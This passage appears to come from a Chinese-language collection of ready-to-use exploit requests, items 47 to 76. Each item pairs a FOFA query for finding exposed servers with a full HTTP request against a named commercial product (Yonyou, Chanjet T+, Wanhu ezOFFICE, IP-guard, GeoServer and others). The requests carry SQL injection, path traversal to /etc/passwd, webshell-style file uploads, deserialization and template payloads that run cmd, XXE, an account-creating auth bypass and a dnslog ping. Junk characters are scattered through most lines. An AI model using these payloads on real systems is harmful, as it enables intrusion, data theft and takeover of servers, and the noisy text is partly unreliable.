9 s7 X( s+ P% V3 A) A7 p* tGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
! K8 K0 e2 E- v* l" k( o6 ~Host: your-ip
6 d5 `) F3 E; A" }9 g& U3 M" IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
$ ~$ E6 P, ]# V3 A" \% w+ kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
! ^, x$ z7 u, ZAccept-Language: zh-CN,zh;q=0.9
9 O% \( L3 V8 o0 Q; aConnection: close
1 S; w) _" B4 c# J1 {
3 U: Z$ P! K( _) i$ B) T5 C
" x6 Z$ p, W$ l# e: K47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
+ d% k3 {" F% t$ y* AGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, \& d, j3 s6 @8 s/ n* z8 F. yAccept-Encoding: gzip, deflate, br
, s+ a7 H# _: s5 Q: i( k; bAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

- i; ]* C, i& Y/ c8 m# t

3 q: P0 g0 t- {$ E% f* P48. 用友U8 CRM swfupload 任意文件上传
" e  F) e& X& s- b8 {- LFOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
/ b- Y9 |- `- {/ N) Q9 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 j' H3 m  L, s% p1 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
, i" d2 m! [8 X& h: u4 o! `1 z1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
# Y  Q$ J& x% I7 o9 |FOFA：body="用友U8CRM"
# e6 [- A% d  a; g3 Q0 t( C
1 ]7 W3 D( {" F- a8 MPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
$ H: G. d6 T! A2 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
% _: S; p- o& l  y' AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) ~$ B( [4 u2 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 ^. i" ]# g/ U8 n( RConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
6 J% w# t8 S% w+ E9 u! }& F& |Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
: n% ~# I6 i8 x, k3 a3 Y. I
5 d  [7 w+ g0 pwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
5 D3 ~7 K7 H0 g9 ^% H4 R( E8 ^* r# V9 ZContent-Disposition: form-data; name="upload"

+ K0 V. q7 k. j9 \3 u% G$ Q1 Eupload
1 S' h- i8 ]  a! D) \9 K-----------------------------vvv3wdayqv3yppdxvn3w--
# J( [' }4 f% R0 k4 C
( Z& b# [' A; _* Z5 {7 E6 Q
6 o$ p# O/ d6 y9 |http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
4 B" [( U( c$ Z" O* l' H6 ]: {POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
" Y1 Z. M6 g) \9 h5 k, r* ?& pAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
+ i% x: p( X7 c4 N; h5 |Accept-Encoding: gzip
7 j6 e# ^' Z8 e9 }3 u
4 i! ~; n; S% S/ z1 Z  bsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
8 |  H. b) b4 z3 Y" l
1 y+ e* T) x( `2 g
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
2 \/ w1 V7 K7 c5 J* l4 T, t& eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
2 G6 q2 b) v5 @! w. K$ A$ Y) m4 K. ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 s' M" K0 \' k- C1 NAccept-Encoding: gzip, deflate
( f- I$ b4 l' Q- |8 YAccept-Language: zh-CN,zh;q=0.9
Connection: close

) ?+ r7 V( N& ]3 m% j3 R0 Z: a5 R
52. 泛微E-Office json_common.php sql注入
- K$ r* D! P: E! F  PFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
* }3 G- R6 L) q8 iHost: 192.168.86.128:8097
( c+ y5 r' R& nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: w+ t# R( B0 nConnection: close
Content-Length: 87
Accept: */*
. ]7 \* k+ k" E( s7 TAccept-Language: en
7 }: {$ T5 ]' N1 @" l' a) t0 RContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 r0 t* A* P. ^. C5 C
5 r  t. S0 h( Rtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
5 I% @+ c# C! R( |6 a+ n% Y. i) ^
: T8 f/ w4 H: C! P( M5 z
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
: w. \2 }: I9 |5 u8 B第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
. [1 {- Z, R) `6 A& N"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

. h$ E. z4 @2 w) c" E2 @# q
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
. x3 g6 S- C, n "MethodName":"Start",
  "ObjectInstance":{
4 [, U& p  n% C( v( ^- s   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; x  S" B! U. K% A! R    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; x+ l0 E$ V% V% M! R2 U    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
}

  k0 z, i; n8 W5 f/ A- F4 n; Z
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


. U- p6 o' a# m' Q( n55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
1 r1 ?! Q1 G" ?2 m6 G第一步，通过
& q$ J# j" }) p  {/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
6 {  G  r, t; d; M( M第二步，利用获取到的Cookie请求
. t/ B3 e+ o: L/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
7 _& K9 w. p$ n( F% Z7 c8 G1 w& n; @FOFA: app="畅捷通-TPlus"
* S' l: g. q. B3 ~. XPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 W& I" X' c8 E9 c% @3 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
  "storeID":{
) h/ O. J7 x; k4 }/ j7 x5 ~/ G" I    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  {0 W1 m4 F# Y: D; n  x: B   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) W) ~3 v/ U; ~/ }$ D& u        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- o$ Q& b9 t' L, L! D$ S+ c# |- c2 S4 Z           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
4 m8 s  q. X" |( I  }
! W+ V& i; s6 C}
' `7 h$ d; l' M8 ?$ \0 f
& I) Y9 c  m" X! z3 V( c
* P) s- ?0 [0 ?9 n57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
" V  U+ |" z: O+ Z" p% TGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
0 _( f) e1 K1 Q% q! b1 U$ _Host: host
. T' n& K" X+ i9 O8 Y" U( `$ ^User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
8 y0 z3 }2 k" ^. y' t9 ?4 [Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
" W4 _2 r. I- }' GConnection: close
7 }9 q1 t" R  X8 ?( P+ G

58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
% G3 W8 M. F, }! P+ F* p6 iGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
$ n: @# z! x4 Y2 ?4 L8 p5 TUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
0 M# K9 u! ~: {& G+ ?' EAccept-Encoding: gzip, deflate
0 e6 T% K, h6 mConnection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
, H& v6 S3 y) V7 dConnection: close
Content-Length: 1669
, z' x4 |0 u; f. g" ], g. zAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
( g, u% O  X' L0 d1 F4 i+ EAccept-Encoding: gzip
) Z, G% p9 `1 C+ q
8 j( [1 I! M4 _4 ~% Y. E' B& PPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
7 H; ]( K1 W* O9 V7 z! z1 JFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 M4 P& M" Q& h( A* n8 T) b/ h" d9 Q0 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- p' U% T/ [2 g2 M' z# X! N0 cAccept-Language: zh-CN,zh;q=0.9
* `4 F* M3 L/ Q* ~, yConnection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
6 |/ H6 m' Z7 x- O$ a3 DPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
* t! s. s# g8 h2 O* Y5 e8 k7 `Host: x.x.x.x
- T) `  y: \  XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: ]1 v8 t& C5 Y% h$ X" @+ {( t, YContent-Length: 27
) f( v: y1 e& h. _1 MAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
3 \; ?( s8 d- f2 H& n5 ^
' u+ B$ W, R0 {) W% N/ Y; B8 x: o8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
* D+ M+ v+ F) H9 {: _) UFOFA："IP-guard" && icon_hash="2030860561"
) J; R  {( x: [( X2 ZGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
$ V1 K* {. u' ?* sUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
; b" A' ]" k: w3 `# E6 G6 ~( o3 ^Accept-Encoding: gzip

! R  g3 B  Y; E& F" E, O$ B5 \
访问

1 K2 O& w3 K5 L( V. C) `GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
; ^# e: B3 |& u) D9 x" n
% O7 @2 b2 S5 V1 B  H8 i! |
4 d0 d6 Z4 ]6 q" M' E" b* q63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
8 `9 F6 G. b/ I$ S8 ^  T  |- c- sFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, R2 x: p+ f; ?0 k' _Connection: close
2 p6 _6 F5 K/ c6 HContent-Type: application/x-www-form-urlencoded
( I+ t) S8 w8 j$ a. p' x  u
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
6 y3 h& D) A, Z; A- [0 j
  s7 `( @# t* G64. 捷诚管理信息系统CWSFinanceCommon SQL注入
, o+ s, n" s9 wFOFA：body="/Scripts/EnjoyMsg.js"
% U& o  x# U& F, _  }* I/ u! gPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
% [1 f3 I; l! MUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
* a( K2 e$ C. Z2 w2 R3 V) y) H4 \Connection: close
6 k8 D( ]) o: W% H; jContent-Length: 369
0 _, P6 h" {4 O1 c$ n1 XAccept: */*
Accept-Language: en
( L; J  f' S; E6 e$ HContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

: H- k; f7 d! D# z<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 A; U0 }# f% r( Z1 s<soap:Body>
( S* k- P; V" {* Z    <GetOSpById xmlns="http://tempuri.org/">
2 S8 c0 _/ i% b# }9 G+ P      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
8 ?! k, j) t3 F0 I. |  </soap:Body>
% c+ N, k3 y) V' j</soap:Envelope>

9 I3 r5 q- k9 I: o/ u8 Y
" d( c  w( O! m2 M0 x9 i65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
" p$ b" X6 h; q6 ~9 H. v1 iAccept: */*
Connection: close
Accept-Language: en
Content-Length: 174

; L9 Y. b/ e. soperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
5 `) {6 Q4 u. p$ \3 f- {

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
: ?9 Z* G3 k; i$ ?2 lFOFA：app="万户ezOFFICE协同管理平台"
6 w0 U! i0 ]* P, p/ W, Q8 {( }
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
, w6 M7 ?# h1 J; \0 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
% ~( X& M: d# ^- _8 G' i, xAccept: */*
Accept-Language: en
' d5 ?% Q' ~' f6 R  ?Accept-Encoding: gzip
5 f0 Y9 r0 U( X! Q* y
8 c0 \* c: A# K$ s9 H7 d- y# t0 _
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
. r- Z7 C9 r1 j5 X6 U$ DFOFA：app="万户网络-ezOFFICE"
7 d* R9 q( ^5 J% j# qnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
( S/ r. h* C# a, fPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
2 J  t0 U& k' x8 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
. |7 L: B/ g- r) OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
4 m1 o. A9 U* g8 ^- YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
. b* b4 |1 ]" bConnection: close
7 y8 f& K* {$ I7 O  T) aContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
% g  c. R+ u. P8 }DNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
! H- x' d1 c: o3 `4 S5 j: wContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
4 x5 h1 A( L( C# Z, Y! q
<% out.print("sasdfghjkj");%>
6 W  m) N! g; ]6 s/ D--ufuadpxathqvxfqnuyuqaozvseiueerp--
7 B% n% F: a. R

! g; D8 {; t4 @' ]文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
" n- _% C1 e( M3 t- ?& e* U/ R
: N4 `( Z' r- K* h0 k5 h68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 w1 Q! _- Z5 Z7 Y$ Q* [Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 Q; y6 Z* l7 i+ l# MAccept-Language: zh-CN,zh;q=0.9
  N# s8 j$ J* M* |: w+ X& ZConnection: close
9 `; U7 `" Z' W4 n
2 c( I' @- x+ Y; v
( z8 G7 P# F0 V! @69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
% C' L! B7 U8 \7 N' E4 TGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 X/ t/ t8 x9 K- ^Accept-Encoding: gzip, deflate
7 M+ S. @, Q" ], p, yAccept: */*
Connection: keep-alive
4 [3 P4 ~  y5 q" y& d: @" f
4 b* L9 S/ `. w  M0 S* c- C
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 P- N8 v8 j# rSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
: }7 N8 A0 ], N9 FContent-Type: application/x-www-form-urlencoded
1 E. l& U) K+ I8 I2 Y8 N4 w; VTYPE: C
+ ^! z8 }& B& Q/ BContent-Length: 16702

__VIEWSTATE=PAYLOAD

: t0 L1 I1 m( x6 @0 Y5 P
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
7 g* K: |: f% l( p6 z  ~GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
4 R  o% c$ o1 r/ W. Z3 m. j. U& GUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
  q# y- e# p  h4 ~  ^2 c  w) RConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 H5 B+ O' {0 {% _$ t) kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
1 y- {7 m: c% E# P: U

72. 致远OA getAjaxDataServlet XXE
3 p1 C0 J: v2 i! }, O' n7 ZFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
& f, @5 l  L& `; G8 LContent-Type: application/x-www-form-urlencoded
" h5 G  m1 q- ^4 b# t) y- EAccept-Encoding: gzip

/ p& X9 z0 ]3 p7 L8 cS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 d; G) o- E4 p1 k9 I

73. GeoServer wms远程代码执行
/ X. e3 T$ d8 z: U, S. sFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 b, E" H% h* T" G6 |% L* Y3 FContent-Length: 1981
Accept-Encoding: gzip, deflate
0 j3 d# v, v" s( V0 [+ f( LConnection: close
Content-Type: application/xml
/ ]3 N  f5 E) w/ m6 wSL-CE-SUID: 3

3 D2 r- t; D' n2 nPAYLOAD

+ H4 U" x- I9 T: H8 M3 F
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
+ d: {7 N/ h) {/ h9 M4 gPAYLOAD
4 H. P7 F5 W7 n* d4 L
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
7 J3 u8 H2 W8 Z% ~4 N! f% RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
  ?/ ]. d" V: EAccept: */*
! O0 I$ z, N* R' Q# o# q9 K5 AAccept-Language: en
Accept-Encoding: gzip
3 [  i& c7 P( I# G

0 I$ Y  R" f7 m5 T: h! ]GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

! z$ n# g! ~9 Z0 P$ u) x/ Z
, u& l- H. Q3 {) e0 G0 L76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
- q" U/ ?/ [3 u. o5 oConnection: close
, s0 O$ s" h4 BContent-Length: 211
! L& ]- {  v/ X; hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
2 L4 }) E( H; `$ j
{
  a/ @: n* ?) w9 B/ W0 i4 h. K"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
3 ]0 v( g  i/ Z5 I  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
0 L! u4 |- F" t}
